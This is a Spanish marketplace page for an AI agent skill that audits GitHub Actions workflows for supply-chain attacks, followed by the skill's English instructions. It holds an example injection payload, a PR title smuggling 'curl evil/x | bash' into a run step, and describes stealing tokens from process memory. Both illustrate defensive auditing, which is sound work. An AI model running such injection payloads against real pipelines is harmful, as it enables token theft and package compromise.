Logotipo de Audit Github Actions

Audit Github Actions

Comunidad
franky47
audit-github-actions

Audit GitHub Actions workflows for supply-chain and CI/CD security vulnerabilities — script injection, expression injection, token exfiltration, unpinned actions, cache poisoning, and Shai-Hulud-class self-replicating worms. Use when the user asks to audit, review, or check the security of GitHub Actions, workflows, CI/CD pipelines, or asks about supply-chain risk, npm publish security, or Shai-Hulud.

Descripción general

Editorfranky47
Repositoriodotfiles
Nombre de la habilidadaudit-github-actions
Estrellas
28
Forks
1
Archivos incluidos
8
Enlaces
  • Instrucciones en Markdown

    Un archivo SKILL.md que el modelo carga cuando lo necesita, de modo que solo consume tokens cuando una petición es realmente relevante.

  • Funciona con cualquier LLM

    Las habilidades de IA están en Markdown, no en código específico de un proveedor, por lo que funcionan con GPT, Claude, Gemini, Grok o un modelo local.

  • 8 archivos incluidos

    Scripts, plantillas y referencias que el modelo puede leer mientras trabaja. Los archivos son de solo lectura y nunca se ejecutan.

  • Código abierto

    Publicada por franky47 en GitHub. Revisa el contenido original antes de instalarla.

Instalación

Instala la habilidad de IA Audit Github Actions en TypingMind para usarla con cualquier LLM, o añádela a otro agente que lea SKILL.md.

1

Instalar en TypingMind

TypingMind instala una habilidad directamente desde su carpeta de GitHub: lee SKILL.md, empaqueta los archivos de recursos y guarda el resultado localmente.

  1. Abre la aplicación y ve a Plugins → Habilidades.
  2. Elige «Instalar desde GitHub».
  3. Pega la URL de la carpeta de la habilidad que se muestra a continuación y confirma.
    https://github.com/franky47/dotfiles/tree/main/dot-claude/skills/audit-github-actions
  4. Activa la habilidad en cada chat en el que quieras tenerla disponible.
Plugins → Habilidades → Añadir habilidad → Desde URL de GitHub; después, pega la URL de la carpeta y pulsa Continuar.
2

Instalar en otro agente

Cualquier agente que lea el formato Agent Skills puede usar esta habilidad: copia la carpeta en el directorio de habilidades de ese agente.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/franky47/dotfiles.git /tmp/dotfiles
mkdir -p .claude/skills
cp -r /tmp/dotfiles/dot-claude/skills/audit-github-actions .claude/skills/audit-github-actions
Reinicia Claude Code después de copiarla para que detecte la nueva habilidad.

Úsala en TypingMind

Activa Audit Github Actions en cualquier chat de TypingMind y el modelo se encargará del resto. Su nombre y descripción se incluyen en el prompt del sistema y, en cuanto una petición es relevante, el modelo carga las instrucciones completas por sí solo. No tienes que invocarla manualmente y no consume tokens hasta que se utiliza.

El modelo carga Audit Github Actions automáticamente en cuanto una petición es relevante para esa habilidad.

Funciona con cualquier modelo de IA

Las habilidades de IA son instrucciones en Markdown, no código específico de un proveedor, por lo que Audit Github Actions no está vinculada al modelo para el que se creó. Instálala una sola vez en TypingMind y úsala con GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama o un modelo local que ejecutes tú, todo con tus propias claves API.

  • Se carga solo cuando se necesita

    El prompt del sistema solo incluye el nombre y la descripción. Las instrucciones se cargan con la primera petición relevante, por lo que una habilidad que no se usa no supone ningún coste.

  • Cambia de modelo durante el chat

    Como la habilidad contiene instrucciones y no código, cambiar de modelo no impide que funcione: el nuevo modelo lee el mismo archivo SKILL.md.

Instrucciones de la habilidad

Este es el contenido de SKILL.md que carga el modelo. Léelo antes de instalar la habilidad: contiene instrucciones que tu modelo seguirá.

Audit GitHub Actions

You are auditing public open-source workflows for supply-chain risk. The adversary is a real-world worm operator (Shai-Hulud, Nx s1ngularity, tj-actions, TanStack, qix). Treat every PR field as hostile input, every secret as bait, every third-party action as a potential supply-chain pivot.

Threat model

Modern attacks on public OSS chain together:

  1. Expression injection in privileged triggers — ${{ github.event.* }} from a PR title, comment, or branch name lands in a run: step under pull_request_target / issue_comment / workflow_run. The Nx s1ngularity vector.
  2. Cache poisoning across trust boundaries — a low-privilege pull_request_target workflow writes into a cache scope that a high-privilege release workflow later restores from. permissions: contents: read does not block cache writes (the runner uses an internal token), and OIDC tokens minted with id-token: write are extractable from /proc/<pid>/mem during the privileged run. (TanStack, May 2026).
  3. Compromised third-party actions — tag mutability lets a force-pushed tag silently roll all consumers onto malicious code (tj-actions / reviewdog, March 2025).
  4. Install-time RCE — preinstall / postinstall hooks running before any test or scan. Every npm worm in the catalogue.
  5. Self-propagation — stolen npm token enumerates the maintainer's other packages and republishes them with the same payload (Shai-Hulud, Shai-Hulud 2.0).
  6. CI persistence — malicious .github/workflows/*.yml written into every repo the stolen GITHUB_TOKEN can reach; self-hosted runner registration for ongoing RCE.
  7. Public-by-design exfil — secrets pushed to attacker-owned public repos, victim-owned *-migration repos, or double-base64 into public workflow logs.

Your job is to find the first link in any such chain that exists in this repo, and explain it as a kill chain the user can act on.

Audit flow

Run these steps in order. Steps 2a/2b/2c run in parallel.

  1. Detect audit surface. Enumerate:

    • .github/workflows/*.yml and *.yaml
    • Repo-root action.yml / action.yaml (if the repo publishes an action)
    • For each run: block: scripts invoked via pnpm/npm/yarn/bun run X, bash X.sh, make X, just X → resolve to local files
  2. Run in parallel:

    • 2a. Spawn a sub-agent (Agent tool, general-purpose) for historical & IOC sweep. Brief it with the contents of historical-audit.md. It returns a focused finding list.
    • 2b. Detect deterministic tooling and run any that is installed. See tools.md.
    • 2c. Load the per-surface docs you need (workflows.md, composite-actions.md, scripts.md). Walk the execution graph: read every workflow YAML, then every local file each one transitively references. Terminate the recursion at external binaries on PATH, at third-party action sources, and at network fetches (treat the latter as a finding).
  3. Verify third-party action pin legitimacy. pinact run --check --verify is authoritative — it resolves each uses: owner/repo@<sha> # vX.Y.Z annotation against the GitHub API and flags any SHA that does not match the claimed version. This catches force-pushed tags and pins where the SHA points at a different commit than the comment claims, and it handles annotated-tag dereferencing internally. Run with GITHUB_TOKEN set to avoid rate limits. Mismatch or unpinned = High finding. pinact is a required tool — if it (or zizmor / actionlint) is missing, see tools.md and abort the audit with install instructions rather than skipping this step.

    pinact does not cover two cases — the agent owns these:

    • Pins missing a version-annotation comment. pinact --verify only validates uses: owner/repo@<sha> # vX.Y.Z. Grep the workflow surface for uses: [^#]+@[0-9a-f]{40}\s*$ (no trailing comment) and flag each as Medium — the pin is opaque and cannot be audited without an annotation. Suggest the user add # vX.Y.Z and re-run.
    • Owner liveness / repojacking. Once per unique owner, run curl -sI -o /dev/null -w "%{http_code} %{redirect_url}\n" https://github.com/<owner>. A 404 (namespace unclaimed) or 3xx redirect (owner renamed) means the action is repojackable — see workflows.md §14. Flag even when the pinned SHA still resolves, because future ref bumps are exposed.
  4. Reason holistically. Load the relevant context (the workflow graph, the sub-docs) and synthesize attack paths. Pattern-matching alone misses xz-utils-style multi-stage payloads. Use checklist.md as a prompt for what to look for, incidents.md when an unfamiliar shape looks like a variant of a known attack.

  5. Fold findings. Merge sub-agent + tooling + your own findings. Dedupe (same file:line + same pattern = one finding, multiple sources). Drop low-confidence noise.

  6. Print the report. Severity-first (Critical → High → Medium → Low). For every finding emit:

    • Pattern (one line)
    • Locations (file:line, multiple if applicable)
    • Why it matters (one line, with a real-world incident anchor when one exists)
    • Attacker repro / kill chain (concrete end-to-end steps an attacker takes — attacker forks repo → opens PR titled '\'; curl evil/x | bash #' → workflow lint.yml line 42 interpolates title into run: → token POSTed to evil → token used to republish on npm)
    • Fix (snippet from remediation.md)
    • Source (which input found it: agent / zizmor / actionlint / sub-agent)
    • Refs (links to authoritative docs)
  7. Stop. Do not edit workflows. Do not commit. Do not open PRs. The user decides what to do next.

Anti-noise rules

  • Critical/High = real exploit paths only, with a concrete repro chain. If you cannot describe how an attacker exploits it, downgrade or drop it.
  • Medium/Low go in a single "Additional observations" rollup, terse, no per-finding cards.
  • No padding. No restating absences ("no pull_request_target found, no self-hosted runners found"). If clean, say "No findings" and list the categories that were checked.
  • Format the report naturally. Do not follow a rigid template — convey the fields above however reads best for the findings at hand.

Non-goals

  • No CVE / license / code-quality audit (use npm audit, Socket, Snyk for those).
  • No edits, commits, PRs, or remote mutation (gh api reads only).
  • No recursion into third-party action source code — pin legitimacy is the boundary.
  • No grades / scores / pass-fail. The findings speak for themselves.
  • No false-positive suppression mechanism in v1; every run is independent.

Scope arg

If invoked without args, audit every surface in the repo. If invoked with a file path, audit only that file and its transitive references — but still spawn the historical sub-agent (the IOC sweep is repo-wide and cheap).

If invoked with a GitHub URL (e.g. https://github.com/<owner>/<repo> or git@github.com:<owner>/<repo>.git), audit a fresh clone instead of the current working tree.

Clone target: .audit-github-actions/<slug> under cwd, where <slug> = <owner>__<repo> (lowercase, strip trailing .git, strip any /tree/<ref> first). Use this literal path everywhere — never assign to a shell variable; $VAR expansion forces the rm hook to ask later, breaking AFK runs.

  1. Partial clone, all refs: git clone --filter=blob:none <url> .audit-github-actions/<slug>. No --depth 1 / --single-branch — the IOC sub-agent (step 2a) needs every branch/tag for stale-workflow and git log --all sweeps. --filter=blob:none lazy-loads blobs; grep/log/for-each-ref still work transparently. If the dir already exists from a prior audit, run git -C .audit-github-actions/<slug> fetch --all --prune instead.
  2. If the URL points at /tree/<ref>, after cloning run git -C .audit-github-actions/<slug> checkout <ref>. Keep all other refs.
  3. Run the audit against .audit-github-actions/<slug>. Never cd into the clone — pass the path explicitly (git -C .audit-github-actions/<slug> …, actionlint .audit-github-actions/<slug>/.github/workflows/*.yml). cd path && cmd defeats the per-tool allowlist.
  4. Render file:line paths as repo-relative (strip the .audit-github-actions/<slug>/ prefix). Note git -C .audit-github-actions/<slug> rev-parse HEAD in the report header so the audit is reproducible.
  5. Do not delete the clone. Leave it in place so re-audits can fetch instead of re-clone. The user wipes the cache with rm -rf .audit-github-actions/ themselves; suggest they add .audit-github-actions/ to .gitignore (or ~/.gitignore_global) so it doesn't pollute git status.

Do not push, fetch additional refs beyond what step 1 needs, or write into the clone.

Archivos incluidos

El modelo los lee según los necesita mientras la habilidad está cargada. Se ofrecen como archivos de lectura y nunca se ejecutan.

Preguntas frecuentes

¿Qué hace la habilidad de IA Audit Github Actions?

Audit GitHub Actions workflows for supply-chain and CI/CD security vulnerabilities — script injection, expression injection, token exfiltration, unpinned actions, cache poisoning, and Shai-Hulud-class self-replicating worms. Use when the user asks to audit, review, or check the security of GitHub Actions, workflows, CI/CD pipelines, or asks about supply-chain risk, npm publish security, or Shai-Hulud.

¿Por qué usar Audit Github Actions en TypingMind?

Porque la instalas una vez y la usas con cualquier modelo. Audit Github Actions está escrita en Markdown, no en código específico de un proveedor, por lo que la misma habilidad funciona con GPT-5, Claude, Gemini, Grok o un modelo local, y puedes cambiar de modelo en mitad del chat sin que deje de funcionar. TypingMind utiliza tus propias claves API, de modo que pagas directamente a los proveedores en lugar de pagar una suscripción por puesto, y tus habilidades y chats permanecen en tu propio almacenamiento.

¿Cómo instalo Audit Github Actions en TypingMind?

Abre Plugins → Habilidades → Instalar desde GitHub en TypingMind y pega https://github.com/franky47/dotfiles/tree/main/dot-claude/skills/audit-github-actions. TypingMind lee su archivo SKILL.md, empaqueta sus archivos y la instala como una habilidad que puedes activar en cada chat.

¿Qué modelos de IA pueden usar Audit Github Actions?

Cualquier modelo que conectes en TypingMind. Las habilidades de IA son instrucciones en Markdown, no código específico de un proveedor, por lo que GPT, Claude, Gemini, Grok y los modelos locales pueden cargar esta habilidad cuando una solicitud se corresponda con ella.

¿Con cuántos modelos de IA puedo usar Audit Github Actions?

Con tantos como quieras. Siempre que un modelo admita habilidades, puedes usar Audit Github Actions con él: GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama y muchos más, todos en TypingMind con tus propias claves API.

¿Es gratuita la habilidad de IA Audit Github Actions?

franky47 la ha publicado en GitHub. Consulta el repositorio para conocer las condiciones de la licencia. Solo pagas a tu proveedor de IA por los tokens que utilizas.

¿Qué son las habilidades de IA?

Una habilidad de IA es un conjunto de instrucciones reutilizables que enseña a un modelo de IA a realizar una tarea concreta. Sigue el formato abierto Agent Skills: un archivo SKILL.md con un nombre y una descripción, además de los scripts, plantillas o archivos de referencia que pueda necesitar el modelo. El modelo solo lee las instrucciones cuando tu solicitud se corresponde con la habilidad, por lo que una habilidad instalada no supone ningún coste hasta que se utiliza.

¿En qué se diferencian las habilidades de IA de los plugins o los servidores MCP?

Un plugin o un servidor MCP proporciona al modelo nuevas herramientas que puede invocar: código que se ejecuta en algún lugar y devuelve un resultado. En cambio, una habilidad de IA aporta conocimientos y procedimientos al modelo: cómo abordar una tarea, qué pasos seguir y qué se considera un buen resultado. Las habilidades son instrucciones en Markdown, por lo que no necesitan servidor, clave API ni entorno de ejecución, y funcionan con cualquier modelo.

Ver todos

Crea ya tu propio espacio de trabajo IA

Suscríbete a nuestro boletín para recibir avisos sobre nuevas funciones y próximos sorteos 👇